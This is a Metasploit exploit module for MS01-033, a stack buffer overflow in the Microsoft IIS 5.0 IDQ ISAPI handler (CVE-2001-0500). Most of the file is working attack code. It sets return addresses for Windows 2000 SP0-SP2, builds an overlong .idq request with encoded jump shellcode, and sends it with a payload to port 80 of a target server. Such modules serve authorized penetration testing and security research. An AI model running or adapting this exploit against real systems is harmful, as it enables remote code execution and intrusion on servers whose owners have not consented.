MS01-033 Microsoft IIS 5.0 IDQ Path Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS01-033 Microsoft IIS 5.0 IDQ Path Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the IDQ ISAPI handler for
        Microsoft Index Server.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2001-0500'],
          [ 'OSVDB', '568'],
          [ 'MSB', 'MS01-033'],
          [ 'BID', '2880'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },

      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 800,
          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
          'StackAdjustment' => -3500,
        },

      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows 2000 Pro English SP0',     { 'Ret' => '0x6e8f3e24' } ],
          [ 'Windows 2000 Pro English SP1-SP2', { 'Ret' => '0x6e8f8cc4' } ],
        ],
      'DisclosureDate' => '2001-06-18',
      'DefaultTarget' => 0))

    register_options([Opt::RPORT(80)])
  end

  def exploit
    connect

    sploit =  rand_text_alphanumeric(1) + ".idq?" + rand_text_alphanumeric(232)
    sploit << "%u06eb.%u" + target.ret[-4, 4] + "%u" + target.ret[-8, 4]
    sploit << ".%uC033%uB866%u031F%u0340%u8BD8%u8B03%u6840%uDB33%u30B3%uC303%uE0FF="
    sploit << rand_text_alphanumeric(1) + " HTTP/1.0\r\n\r\n" + rand_text_alphanumeric(46)

    uri = '/' + sploit + payload.encoded

    res = "GET #{uri}\r\n\r\n"

    print_status("Trying target #{target.name}...")

    sock.put(res)

    handler
    disconnect
  end
end